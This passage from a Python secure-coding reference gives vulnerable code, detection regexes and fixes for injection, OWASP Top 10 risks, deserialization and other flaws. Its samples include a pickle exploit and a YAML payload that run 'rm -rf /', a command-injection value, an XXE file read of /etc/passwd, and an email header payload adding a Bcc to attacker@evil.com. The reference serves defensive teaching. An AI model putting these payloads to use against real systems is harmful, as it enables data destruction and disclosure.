    # Remove CR and LF characters
    return re.sub(r'[\r\n]', '', str(value))

response.headers['X-Custom'] = sanitize_header(user_input)

# Or use framework-provided sanitization
from werkzeug.utils import escape

---

Email Header Injection

Detection Patterns

(To|From|Cc|Bcc|Subject)\s*[:=]\s*.*\+
send_mail\s*\([^)]*\+
EmailMessage\s*\([^)]*user

Vulnerable Code:

from email.message import EmailMessage
import smtplib

# Direct user input in headers
msg = EmailMessage()
msg['To'] = user_email
msg['Subject'] = user_subject  # Can inject headers

# String concatenation
headers = f"To: {user_email}\r\nSubject: {subject}"

Attack Payloads:

# Add BCC recipients
victim@example.com\r\nBcc: attacker@evil.com

# Inject content
Test\r\n\r\nMalicious body content

Safe Alternatives:

import re

def sanitize_email_header(value):
    # Remove newlines
    return re.sub(r'[\r\n]', '', str(value))

# Validate email format
import email_validator
email_validator.validate_email(user_email)

# Use framework email functions that handle sanitization
from django.core.mail import send_mail
send_mail(subject, message, from_email, [sanitize_email_header(user_email)])

---

Log Injection

Detection Patterns

logger?\.(info|debug|warning|error|critical)\s*\([^)]*\+
logger?\.(info|debug|warning|error|critical)\s*\(f["']
logging\.(info|debug|warning|error|critical)\s*\([^)]*\+

Vulnerable Code:

import logging

# Direct user input in logs
logging.info(f"User {username} logged in")
logging.info("Search query: " + user_query)

Attack Payloads:

# Inject fake log entries
admin\n[INFO] User admin logged in from 127.0.0.1

# Log forging for SIEM bypass
user123\n[INFO] Security scan: No vulnerabilities found

Safe Alternatives:

import logging
import re

def sanitize_log(value):
    # Remove newlines and control characters
    return re.sub(r'[\r\n\x00-\x1f]', '', str(value))

logging.info("User %s logged in", sanitize_log(username))

# Or use structured logging
import structlog
logger = structlog.get_logger()
logger.info("user_logged_in", username=username)  # Automatically escaped

OWASP Top 10:2025 - Python Quick Reference

A01:2021 - Broken Access Control

Python Patterns to Check

# Missing authorization checks
@app.route('/admin')
def admin_panel():
    return render_template('admin.html')  # No auth check!

# Insecure direct object reference (IDOR)
@app.route('/user/<user_id>')
def get_user(user_id):
    return User.query.get(user_id)  # No ownership verification

# Path traversal
filename = request.args.get('file')
return send_file(f'/uploads/{filename}')  # Can access ../../../etc/passwd

Remediation

• Implement proper authorization decorators
• Verify resource ownership before access
• Use allowlists for file access
• Implement role-based access control (RBAC)

---

A02:2021 - Cryptographic Failures

Python Patterns to Check

# Weak hashing
import hashlib
hashlib.md5(password.encode())  # MD5 is broken
hashlib.sha1(password.encode())  # SHA1 is weak for passwords

# Hardcoded secrets
SECRET_KEY = "super_secret_key_123"
API_KEY = "sk-1234567890abcdef"

# Weak random for security
import random
token = random.randint(0, 999999)  # Predictable!

# No salt in password hashing
hash = hashlib.sha256(password.encode()).hexdigest()

Remediation

# Use bcrypt or argon2 for passwords
from bcrypt import hashpw, gensalt
hashed = hashpw(password.encode(), gensalt())

# Use secrets module for tokens
import secrets
token = secrets.token_urlsafe(32)

# Load secrets from environment
import os
SECRET_KEY = os.environ.get('SECRET_KEY')

---

A03:2021 - Injection

Python Patterns to Check

# SQL Injection
cursor.execute(f"SELECT * FROM users WHERE id = {user_id}")
cursor.execute("SELECT * FROM users WHERE name = '%s'" % name)

# Command Injection
os.system(f"ping {user_input}")
subprocess.call(f"ls {directory}", shell=True)

# LDAP Injection
ldap.search(f"(uid={username})")

# Template Injection (SSTI)
return render_template_string(user_input)

Remediation

# Parameterized queries
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

# Avoid shell=True, use lists
subprocess.run(['ping', '-c', '1', validated_host], shell=False)

# Escape LDAP special characters
from ldap3.utils.conv import escape_filter_chars
ldap.search(f"(uid={escape_filter_chars(username)})")

---

A04:2021 - Insecure Design

Python Patterns to Check

# No rate limiting
@app.route('/login', methods=['POST'])
def login():
    # Can be brute-forced indefinitely
    pass

# No account lockout
if check_password(password, stored_hash):
    return success
# Failed attempts not tracked

# Sensitive data in URLs
@app.route('/reset-password/<token>')  # Token logged in access logs

Remediation

• Implement rate limiting (Flask-Limiter, django-ratelimit)
• Add account lockout after failed attempts
• Use POST for sensitive data
• Implement CAPTCHA for auth endpoints

---

A05:2021 - Security Misconfiguration

Python Patterns to Check

# Debug mode in production
app.run(debug=True)  # Flask
DEBUG = True  # Django

# Default credentials
app.secret_key = 'development'

# Verbose error messages
@app.errorhandler(Exception)
def handle_error(e):
    return str(e), 500  # Leaks stack traces

# Missing security headers
# No CSP, X-Frame-Options, etc.

Remediation

# Flask
app.config['DEBUG'] = False
app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY')

# Django
DEBUG = False
ALLOWED_HOSTS = ['example.com']

# Add security headers (Flask-Talisman, django-csp)

---

A06:2021 - Vulnerable and Outdated Components

Tools

# pip-audit
pip-audit

# Safety
safety check -r requirements.txt

# Snyk
snyk test

Common Vulnerable Packages

• pyyaml < 5.4 - Arbitrary code execution
• pillow < 8.3.2 - Multiple CVEs
• urllib3 < 1.26.5 - CRLF injection
• requests < 2.20.0 - CVE-2018-18074
• django < 3.2.4 - Multiple vulnerabilities
• flask < 2.0 - Security improvements

---

A07:2021 - Identification and Authentication Failures

Python Patterns to Check

# Weak password requirements
if len(password) >= 4:  # Too short!
    create_user(password)

# Session fixation
session['user_id'] = user.id
# Session ID not regenerated after login

# Credentials in code
def connect_db():
    return psycopg2.connect(
        host="db.example.com",
        user="admin",
        password="admin123"  # Hardcoded!
    )

# No MFA support
# Insecure "remember me" implementation

Remediation

• Enforce strong password policies
• Regenerate session ID after authentication
• Use environment variables for credentials
• Implement MFA
• Secure session configuration

---

A08:2021 - Software and Data Integrity Failures

Python Patterns to Check

# Insecure deserialization
import pickle
data = pickle.loads(user_input)  # RCE!

import yaml
yaml.load(user_input)  # Use safe_load!

# Unverified downloads
response = requests.get(url)
exec(response.text)  # Never do this!

# No integrity checks on dependencies
# pip install without --require-hashes

Remediation

# Use safe loaders
import yaml
data = yaml.safe_load(user_input)

# Verify signatures/checksums
import hashlib
if hashlib.sha256(content).hexdigest() != expected_hash:
    raise ValueError("Integrity check failed")

# Pin dependencies with hashes
# pip install --require-hashes -r requirements.txt

---

A09:2021 - Security Logging and Monitoring Failures

Python Patterns to Check

# No logging of security events
def login(username, password):
    if authenticate(username, password):
        return success
    return failure  # Failed login not logged!

# Logging sensitive data
logger.info(f"User {username} logged in with password {password}")

# No audit trail
def delete_user(user_id):
    User.query.filter_by(id=user_id).delete()
    # No record of who deleted what

Remediation

import logging

# Log security events
logger.warning(f"Failed login attempt for user {username} from {ip}")
logger.info(f"User {user_id} deleted by admin {admin_id}")

# Never log sensitive data
logger.info(f"User {username} logged in")  # No password!

---

A10:2021 - Server-Side Request Forgery (SSRF)

Python Patterns to Check

# SSRF via user-controlled URL
url = request.args.get('url')
response = requests.get(url)  # Can access internal services!

# Webhook callbacks
callback_url = data.get('callback')
requests.post(callback_url, json=result)

# Image processing
image_url = request.form['image_url']
img = Image.open(requests.get(image_url, stream=True).raw)

Remediation

from urllib.parse import urlparse
import ipaddress

def is_safe_url(url):
    parsed = urlparse(url)

    # Only allow HTTPS
    if parsed.scheme != 'https':
        return False

    # Block internal IPs
    try:
        ip = ipaddress.ip_address(parsed.hostname)
        if ip.is_private or ip.is_loopback:
            return False
    except ValueError:
        pass  # It's a hostname

    # Allowlist domains
    allowed_domains = ['api.example.com', 'cdn.example.com']
    if parsed.hostname not in allowed_domains:
        return False

    return True

Python-Specific Security Vulnerabilities

Code Execution Vulnerabilities

eval() and exec()

Risk: CRITICAL - Arbitrary code execution

# VULNERABLE
user_expr = request.args.get('expr')
result = eval(user_expr)  # RCE!

code = request.form.get('code')
exec(code)  # RCE!

# Also dangerous
eval(compile(user_input, '<string>', 'eval'))

Detection Pattern:

eval\s*\(
exec\s*\(
compile\s*\(.*['"](eval|exec|single)['"]

Remediation:

# Use ast.literal_eval for safe evaluation of literals
import ast
result = ast.literal_eval(user_input)  # Only parses Python literals

# Use a safe expression parser for math
import simpleeval
result = simpleeval.simple_eval(user_expr)

# Never execute user-provided code

---

Input Functions

Risk: HIGH - Code injection in Python 2

# VULNERABLE (Python 2 only)
name = input("Enter name: ")  # Actually calls eval()!

# Safe in Python 3, but input() was raw_input() in Python 2

Remediation:

• Ensure Python 3 is used
• In Python 2, always use raw_input()

---

Deserialization Vulnerabilities

pickle

Risk: CRITICAL - Arbitrary code execution

# VULNERABLE
import pickle

data = pickle.loads(user_data)  # RCE!
data = pickle.load(user_file)  # RCE!

# Also affects cPickle
import cPickle
data = cPickle.loads(user_data)  # RCE!

Detection Pattern:

pickle\.loads?\s*\(
cPickle\.loads?\s*\(

Exploitation Example:

import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('rm -rf /',))

# This payload executes os.system('rm -rf /') when unpickled
payload = pickle.dumps(Exploit())

Remediation:

# Never unpickle untrusted data
# Use JSON for data serialization
import json
data = json.loads(user_data)

# If pickle is necessary, use hmac for integrity
import hmac
import hashlib

def secure_pickle_dumps(obj, key):
    data = pickle.dumps(obj)
    sig = hmac.new(key, data, hashlib.sha256).hexdigest()
    return sig + ':' + data.hex()

def secure_pickle_loads(signed_data, key):
    sig, data_hex = signed_data.split(':')
    data = bytes.fromhex(data_hex)
    expected_sig = hmac.new(key, data, hashlib.sha256).hexdigest()
    if not hmac.compare_digest(sig, expected_sig):
        raise ValueError("Invalid signature")
    return pickle.loads(data)

---

YAML

Risk: CRITICAL - Arbitrary code execution with yaml.load()

# VULNERABLE
import yaml
data = yaml.load(user_input)  # RCE with !!python/object

# Malicious YAML payload:
# !!python/object/apply:os.system ['rm -rf /']

Detection Pattern:

yaml\.load\s*\([^)]*\)(?!\s*,\s*Loader\s*=\s*yaml\.SafeLoader)
yaml\.load\s*\([^,)]+\)$

Remediation:

import yaml

# Always use safe_load
data = yaml.safe_load(user_input)

# Or explicitly specify SafeLoader
data = yaml.load(user_input, Loader=yaml.SafeLoader)

---

marshal

Risk: HIGH - Code execution possibility

# VULNERABLE
import marshal
code = marshal.loads(user_data)
exec(code)

Remediation:

• Never unmarshal untrusted data
• marshal is for internal Python use only

---

Command Injection

os.system() and os.popen()

Risk: CRITICAL - Command injection

# VULNERABLE
import os

os.system(f"ping {user_host}")
os.system("ls " + user_dir)
os.popen(f"cat {filename}")

# Shell metacharacters allow injection:
# user_host = "google.com; rm -rf /"

Detection Pattern:

os\.system\s*\(
os\.popen\s*\(

Remediation:

import subprocess
import shlex

# Use subprocess with shell=False (default)
subprocess.run(['ping', '-c', '1', validated_host])

# If shell is needed, use shlex.quote
subprocess.run(f"ping -c 1 {shlex.quote(user_host)}", shell=True)

# Better: validate input against allowlist
import re
if not re.match(r'^[a-zA-Z0-9.-]+$', user_host):
    raise ValueError("Invalid hostname")

---

subprocess with shell=True

Risk: CRITICAL - Command injection

# VULNERABLE
import subprocess

subprocess.call(f"ls {user_dir}", shell=True)
subprocess.run(f"grep {pattern} {file}", shell=True)
subprocess.Popen(user_command, shell=True)

Detection Pattern:

subprocess\.(call|run|Popen|check_output|check_call)\s*\([^)]*shell\s*=\s*True

Remediation:

# Avoid shell=True
subprocess.run(['ls', validated_dir])

# Pass arguments as list
subprocess.run(['grep', pattern, filename])

---

Path Traversal

File Operations

Risk: HIGH - Arbitrary file read/write

# VULNERABLE
filename = request.args.get('file')
with open(f'/uploads/{filename}', 'r') as f:  # ../../../etc/passwd
    return f.read()

# Also vulnerable
os.path.join('/uploads', filename)  # Doesn't prevent absolute paths!

Detection Pattern:

open\s*\([^)]*\+[^)]*\)
open\s*\(f['"]['"]
send_file\s*\(

Remediation:

import os

def safe_path(base_dir, filename):
    # Resolve to absolute path
    filepath = os.path.abspath(os.path.join(base_dir, filename))

    # Ensure it's still within base_dir
    if not filepath.startswith(os.path.abspath(base_dir)):
        raise ValueError("Path traversal detected")

    return filepath

# Or use pathlib
from pathlib import Path

def safe_path(base_dir, filename):
    base = Path(base_dir).resolve()
    filepath = (base / filename).resolve()

    if not filepath.is_relative_to(base):
        raise ValueError("Path traversal detected")

    return filepath

---

SQL Injection

String Formatting in Queries

Risk: CRITICAL - SQL injection

# VULNERABLE - String formatting
cursor.execute(f"SELECT * FROM users WHERE id = {user_id}")
cursor.execute("SELECT * FROM users WHERE name = '%s'" % name)
cursor.execute("SELECT * FROM users WHERE name = '" + name + "'")

# VULNERABLE - Even with ORMs if using raw queries
User.objects.raw(f"SELECT * FROM users WHERE name = '{name}'")
db.session.execute(f"SELECT * FROM users WHERE id = {id}")

Detection Pattern:

\.execute\s*\(\s*f['"']
\.execute\s*\([^)]*%
\.execute\s*\([^)]*\+
\.raw\s*\(\s*f['"']

Remediation:

# Use parameterized queries
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

# SQLAlchemy
from sqlalchemy import text
db.session.execute(text("SELECT * FROM users WHERE id = :id"), {"id": user_id})

# Django ORM - use querysets
User.objects.filter(id=user_id)

---

XML Vulnerabilities

XXE (XML External Entity)

Risk: HIGH - File disclosure, SSRF

# VULNERABLE
from xml.etree.ElementTree import parse
tree = parse(user_file)  # XXE possible

from lxml import etree
doc = etree.parse(user_file)  # XXE possible

Malicious XML:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

Remediation:

# defusedxml - safe by default
import defusedxml.ElementTree as ET
tree = ET.parse(user_file)

# Or disable external entities in lxml
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
doc = etree.parse(user_file, parser)

---

Cryptographic Issues

Weak Random

Risk: HIGH - Predictable tokens

# VULNERABLE
import random
token = random.randint(0, 999999)
session_id = ''.join(random.choice('abc123') for _ in range(16))

Detection Pattern:

random\.(randint|choice|random|sample)\s*\(

Remediation:

import secrets

# Generate secure random token
token = secrets.token_urlsafe(32)
session_id = secrets.token_hex(16)

# Secure random integer
secure_number = secrets.randbelow(1000000)

---

Weak Hashing

Risk: HIGH - Password cracking

# VULNERABLE
import hashlib
password_hash = hashlib.md5(password.encode()).hexdigest()
password_hash = hashlib.sha1(password.encode()).hexdigest()
password_hash = hashlib.sha256(password.encode()).hexdigest()  # No salt!

Detection Pattern:

hashlib\.(md5|sha1|sha256)\s*\([^)]*password

Remediation:

# Use bcrypt
import bcrypt
hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt())
if bcrypt.checkpw(password.encode(), hashed):
    # Valid password

# Or argon2
from argon2 import PasswordHasher
ph = PasswordHasher()
hashed = ph.hash(password)
ph.verify(hashed, password)

# Or passlib
from passlib.hash import argon2
hashed = argon2.hash(password)
argon2.verify(password, hashed)

---

Hardcoded Secrets

Common Patterns

Risk: CRITICAL - Credential exposure

# VULNERABLE
SECRET_KEY = "my-super-secret-key"
API_KEY = "sk_live_1234567890abcdef"
DATABASE_URL = "postgresql://user:password@localhost/db"
AWS_SECRET_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"

password = "admin123"
token = "ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"

Detection Pattern:

(SECRET|KEY|TOKEN|PASSWORD|CREDENTIAL|API_KEY|AUTH)\s*=\s*['"'][^'"']+['"']
(sk_live_|sk_test_|pk_live_|pk_test_)[a-zA-Z0-9]+
(ghp_|gho_|ghu_|ghs_|ghr_)[a-zA-Z0-9]+
AKIA[0-9A-Z]{16}

Remediation:

import os

# Load from environment
SECRET_KEY = os.environ.get('SECRET_KEY')
API_KEY = os.environ.get('API_KEY')

# Or use python-dotenv
from dotenv import load_dotenv
load_dotenv()

# Or use a secrets manager
import boto3
client = boto3.client('secretsmanager')
secret = client.get_secret_value(SecretId='my-secret')

---

Assert Statements

Using assert for Security

Risk: MEDIUM - Bypassed with -O flag

# VULNERABLE
assert user.is_admin, "Admin required"  # Skipped with python -O!
assert len(password) >= 8, "Password too short"

Detection Pattern:

assert\s+.*\.(is_admin|is_authenticated|has_permission)
assert\s+.*password
assert\s+.*auth

Remediation:

# Use explicit checks
if not user.is_admin:
    raise PermissionError("Admin required")

if len(password) < 8:
    raise ValueError("Password too short")

---

Temporary Files

Insecure Temporary Files

Risk: MEDIUM - Race conditions, symlink attacks

# VULNERABLE
filename = '/tmp/myapp_' + str(random.randint(0, 9999))
with open(filename, 'w') as f:
    f.write(data)

Remediation:

import tempfile

# Secure temporary file
with tempfile.NamedTemporaryFile(delete=False) as f:
    f.write(data)
    temp_path = f.name

# Secure temporary directory
with tempfile.TemporaryDirectory() as tmpdir:
    filepath = os.path.join(tmpdir, 'file.txt')